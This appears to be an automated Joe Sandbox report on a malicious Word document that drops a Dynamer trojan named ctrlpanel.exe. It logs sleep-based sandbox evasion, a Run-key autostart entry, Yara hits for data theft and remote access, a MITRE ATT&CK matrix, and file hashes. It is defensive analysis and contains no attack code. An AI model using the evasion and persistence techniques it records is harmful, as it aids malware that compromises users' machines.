Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\Public\ctrlpanel.exe	Memory allocated: 240000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Memory allocated: 2700000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Memory allocated: 1A700000 memory commit \| memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\Public\ctrlpanel.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\Public\ctrlpanel.exe	Window / User API: threadDelayed 2754	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Window / User API: threadDelayed 3873	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Window / User API: threadDelayed 915	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Window / User API: threadDelayed 2134	Jump to behavior

Source: C:\Users\Public\ctrlpanel.exe TID: 3000	Thread sleep time: -17524406870024063s >= -30000s	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe TID: 804	Thread sleep time: -360000s >= -30000s	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe TID: 3000	Thread sleep count: 34 > 30	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe TID: 3000	Thread sleep count: 2754 > 30	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe TID: 3000	Thread sleep count: 3873 > 30	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe TID: 3000	Thread sleep count: 915 > 30	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe TID: 3000	Thread sleep count: 2134 > 30	Jump to behavior

Source: C:\Users\Public\ctrlpanel.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\Public\ctrlpanel.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\Public\ctrlpanel.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Office.Interop.Word\14.0.0.0__71e9bce111e9429c\Microsoft.Office.Interop.Word.dll VolumeInformation	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Office.Interop.Word\14.0.0.0__71e9bce111e9429c\Microsoft.Office.Interop.Word.dll VolumeInformation	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\office\14.0.0.0__71e9bce111e9429c\OFFICE.DLL VolumeInformation	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\office\14.0.0.0__71e9bce111e9429c\OFFICE.DLL VolumeInformation	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Vbe.Interop\14.0.0.0__71e9bce111e9429c\Microsoft.Vbe.Interop.dll VolumeInformation	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Vbe.Interop\14.0.0.0__71e9bce111e9429c\Microsoft.Vbe.Interop.dll VolumeInformation	Jump to behavior

Source: C:\Users\Public\ctrlpanel.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Dynamer

Source: Yara match	File source: 2.0.ctrlpanel.exe.e00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000000.356162741.0000000000E02000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\Public\ctrlpanel.exe, type: DROPPED

Source: C:\Users\Public\ctrlpanel.exe	Directory queried: number of queries: 1341
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Directory queried: number of queries: 1233

Remote Access Functionality

Yara detected Dynamer

Source: Yara match	File source: 2.0.ctrlpanel.exe.e00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000000.356162741.0000000000E02000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\Public\ctrlpanel.exe, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	12 Scripting	Valid Accounts	3 Exploitation for Client Execution	12 Scripting	1 Process Injection	111 Masquerading	OS Credential Dumping	1 Security Software Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	1 Disable or Modify Tools	LSASS Memory	1 Query Registry	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 DLL Side-Loading	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Install Root Certificate	LSA Secrets	11 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	13 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
3pGxYMbJaA.doc	68%	ReversingLabs	Document-Word.Trojan.Valyria
3pGxYMbJaA.doc	65%	Virustotal		Browse
3pGxYMbJaA.doc	100%	Avira	W2000M/Agent.71425518
3pGxYMbJaA.doc	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\Public\ctrlpanel.exe	65%	ReversingLabs	Win32.Trojan.Dynamer
C:\Users\Public\ctrlpanel.exe	70%	Virustotal		Browse

Source	Detection	Scanner	Label
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	0%	URL Reputation	safe
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	0%	URL Reputation	safe
http://www.diginotar.nl/cps/pkioverheid0	0%	URL Reputation	safe
http://ocsp.entrust.net0D	0%	URL Reputation	safe
http://ocsp.entrust.net03	0%	URL Reputation	safe

Name	Source	Malicious	Antivirus Detection	Reputation
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	ctrlpanel.exe, 00000002.00000002.634970616.000000001ADF6000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	ctrlpanel.exe, 00000002.00000002.634970616.000000001ADF6000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.diginotar.nl/cps/pkioverheid0	ctrlpanel.exe, 00000002.00000002.634970616.000000001ADF6000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.entrust.net/server1.crl0	ctrlpanel.exe, 00000002.00000002.634970616.000000001ADF6000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.entrust.net0D	ctrlpanel.exe, 00000002.00000002.634970616.000000001ADF6000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ocsp.entrust.net03	ctrlpanel.exe, 00000002.00000002.634970616.000000001ADF6000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://secure.comodo.com/CPS0	ctrlpanel.exe, 00000002.00000002.634970616.000000001ADF6000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.entrust.net/2048ca.crl0	ctrlpanel.exe, 00000002.00000002.634970616.000000001ADF6000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

⊘No contacted IP infos

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1432121
Start date and time:	2024-04-26 14:29:25 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 17s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	4
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (VBA) AMSI enabled
Analysis Mode:	default
Sample name:	3pGxYMbJaA.doc renamed because original name is a hash value
Original Sample Name:	5085081555c33c077b762af1bcc60d63.docx.doc
Detection:	MAL
Classification:	mal100.troj.expl.winDOC@4/81@0/0
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 18 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .doc Found Word or Excel or PowerPoint or XPS Viewer Found warning dialog Click Ok Attach to Office via COM Scroll down Close Viewer

Warnings

Exclude process from analysis (whitelisted): dllhost.exe
Execution Graph export aborted for target ctrlpanel.exe, PID 724 because it is empty
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryDirectoryFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtQueryVolumeInformationFile calls found.
Report size getting too big, too many NtReadFile calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtSetValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
05:30:26	Autostart	Run: HKLM64\Software\Microsoft\Windows\CurrentVersion\Run Ctrlpanel c:\Users\Public
14:30:21	API Interceptor	3373479x Sleep call for process: ctrlpanel.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\Public\ctrlpanel.exe	0001.doc	Get hash	malicious	Dynamer	Browse
	438 0001.doc	Get hash	malicious	Dynamer	Browse
	438 0001.doc	Get hash	malicious	Dynamer	Browse
	B5578027.doc	Get hash	malicious	Unknown	Browse
	56#U044f.doc	Get hash	malicious	Unknown	Browse
	B5578027.doc	Get hash	malicious	Unknown	Browse
	56#U044f.doc	Get hash	malicious	Unknown	Browse
	#U0415#U041a#U0421#U041f#U0415#U0420#U0422#U0418#U0417#U0410_#U0423#U0417#U0420#U0413#U041c.docx.doc	Get hash	malicious	Unknown	Browse
	#U0415#U041a#U0421#U041f#U0415#U0420#U0422#U0418#U0417#U0410_#U0423#U0417#U0420#U0413#U041c.docx.doc	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{05B4E9E6-03C4-470A-B694-D81140026BB1}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12800
Entropy (8bit):	3.9344090449669307
Encrypted:	false
SSDEEP:	96:ibk09QwO9cG3DC20Kf3aUxK1hg6UZFIknPadzwyVH9CvAkALd8dP:Y99QwO9NzCcvLK1i6whaRwUCIkALuF
MD5:	C737B4A13B0C9AA33C04F1CDB1E201FC
SHA1:	C432958FAA8A7821425CB5DC7043C09F2D067138
SHA-256:	A715E3362E9F444EEE9A7AE22E319FF7E3C4C3109E1FA3F128383498840A5140
SHA-512:	8F04633632E8D456E83DE7692E99BDF4BFB0D656A3DF2E4F8D6517B4A1B660558FDC176C11549E166376971DE400805169B40A69AF898EA0C96BF97CA373798C
Malicious:	false
Reputation:	low
Preview:	.... . . . ......."..... .....#.........0.G.0.;.L.=.8.:. . ..... ..!2. .%. .#... ..!1. ...#..... .2. .%.0.@.:.V.2.A.L.:.V.9. .>.1.;.0.A.B.V. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ...?.>.;.:.>.2.=.8.:. . .?.>.;.V.F.V.W....... . . . . . . . . . . . . . ...=.4.@.V.9. .(.....'............. ._._._... ...........................&...~...........*.......8...:...................................................................................................................}............}............m............m..........................$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.........k......7$.8$.H$.`...gd#.?........7$.8$.H$.`...gd#.?..........E.........7$.8$.H$.`...gd#.?................7$.8$.H$.^...gd..;.....$.....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{0DB77D08-0096-400F-8DAE-61E5CDCC7257}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12800
Entropy (8bit):	3.9344090449669307
Encrypted:	false
SSDEEP:	96:ibk09QwO9cG3DC20Kf3aUxK1hg6UZFIknPadzwyVH9CvAkALd8dP:Y99QwO9NzCcvLK1i6whaRwUCIkALuF
MD5:	C737B4A13B0C9AA33C04F1CDB1E201FC
SHA1:	C432958FAA8A7821425CB5DC7043C09F2D067138
SHA-256:	A715E3362E9F444EEE9A7AE22E319FF7E3C4C3109E1FA3F128383498840A5140
SHA-512:	8F04633632E8D456E83DE7692E99BDF4BFB0D656A3DF2E4F8D6517B4A1B660558FDC176C11549E166376971DE400805169B40A69AF898EA0C96BF97CA373798C
Malicious:	false
Reputation:	low
Preview:	.... . . . ......."..... .....#.........0.G.0.;.L.=.8.:. . ..... ..!2. .%. .#... ..!1. ...#..... .2. .%.0.@.:.V.2.A.L.:.V.9. .>.1.;.0.A.B.V. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ...?.>.;.:.>.2.=.8.:. . .?.>.;.V.F.V.W....... . . . . . . . . . . . . . ...=.4.@.V.9. .(.....'............. ._._._... ...........................&...~...........*.......8...:...................................................................................................................}............}............m............m..........................$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.........k......7$.8$.H$.`...gd#.?........7$.8$.H$.`...gd#.?..........E.........7$.8$.H$.`...gd#.?................7$.8$.H$.^...gd..;.....$.....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{13D2D36B-876F-4E62-8550-191F20AA64AE}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12800
Entropy (8bit):	3.9344090449669307
Encrypted:	false
SSDEEP:	96:ibk09QwO9cG3DC20Kf3aUxK1hg6UZFIknPadzwyVH9CvAkALd8dP:Y99QwO9NzCcvLK1i6whaRwUCIkALuF
MD5:	C737B4A13B0C9AA33C04F1CDB1E201FC
SHA1:	C432958FAA8A7821425CB5DC7043C09F2D067138
SHA-256:	A715E3362E9F444EEE9A7AE22E319FF7E3C4C3109E1FA3F128383498840A5140
SHA-512:	8F04633632E8D456E83DE7692E99BDF4BFB0D656A3DF2E4F8D6517B4A1B660558FDC176C11549E166376971DE400805169B40A69AF898EA0C96BF97CA373798C
Malicious:	false
Reputation:	low
Preview:	.... . . . ......."..... .....#.........0.G.0.;.L.=.8.:. . ..... ..!2. .%. .#... ..!1. ...#..... .2. .%.0.@.:.V.2.A.L.:.V.9. .>.1.;.0.A.B.V. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ...?.>.;.:.>.2.=.8.:. . .?.>.;.V.F.V.W....... . . . . . . . . . . . . . ...=.4.@.V.9. .(.....'............. ._._._... ...........................&...~...........*.......8...:...................................................................................................................}............}............m............m..........................$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.........k......7$.8$.H$.`...gd#.?........7$.8$.H$.`...gd#.?..........E.........7$.8$.H$.`...gd#.?................7$.8$.H$.^...gd..;.....$.....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{15671077-AB56-4971-8601-0115C9A95715}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12800
Entropy (8bit):	3.9344090449669307
Encrypted:	false
SSDEEP:	96:ibk09QwO9cG3DC20Kf3aUxK1hg6UZFIknPadzwyVH9CvAkALd8dP:Y99QwO9NzCcvLK1i6whaRwUCIkALuF
MD5:	C737B4A13B0C9AA33C04F1CDB1E201FC
SHA1:	C432958FAA8A7821425CB5DC7043C09F2D067138
SHA-256:	A715E3362E9F444EEE9A7AE22E319FF7E3C4C3109E1FA3F128383498840A5140
SHA-512:	8F04633632E8D456E83DE7692E99BDF4BFB0D656A3DF2E4F8D6517B4A1B660558FDC176C11549E166376971DE400805169B40A69AF898EA0C96BF97CA373798C
Malicious:	false
Reputation:	low
Preview:	.... . . . ......."..... .....#.........0.G.0.;.L.=.8.:. . ..... ..!2. .%. .#... ..!1. ...#..... .2. .%.0.@.:.V.2.A.L.:.V.9. .>.1.;.0.A.B.V. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ...?.>.;.:.>.2.=.8.:. . .?.>.;.V.F.V.W....... . . . . . . . . . . . . . ...=.4.@.V.9. .(.....'............. ._._._... ...........................&...~...........*.......8...:...................................................................................................................}............}............m............m..........................$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.........k......7$.8$.H$.`...gd#.?........7$.8$.H$.`...gd#.?..........E.........7$.8$.H$.`...gd#.?................7$.8$.H$.^...gd..;.....$.....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{1679103B-8739-45D6-A618-5885C3124BE3}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12800
Entropy (8bit):	3.9344090449669307
Encrypted:	false
SSDEEP:	96:ibk09QwO9cG3DC20Kf3aUxK1hg6UZFIknPadzwyVH9CvAkALd8dP:Y99QwO9NzCcvLK1i6whaRwUCIkALuF
MD5:	C737B4A13B0C9AA33C04F1CDB1E201FC
SHA1:	C432958FAA8A7821425CB5DC7043C09F2D067138
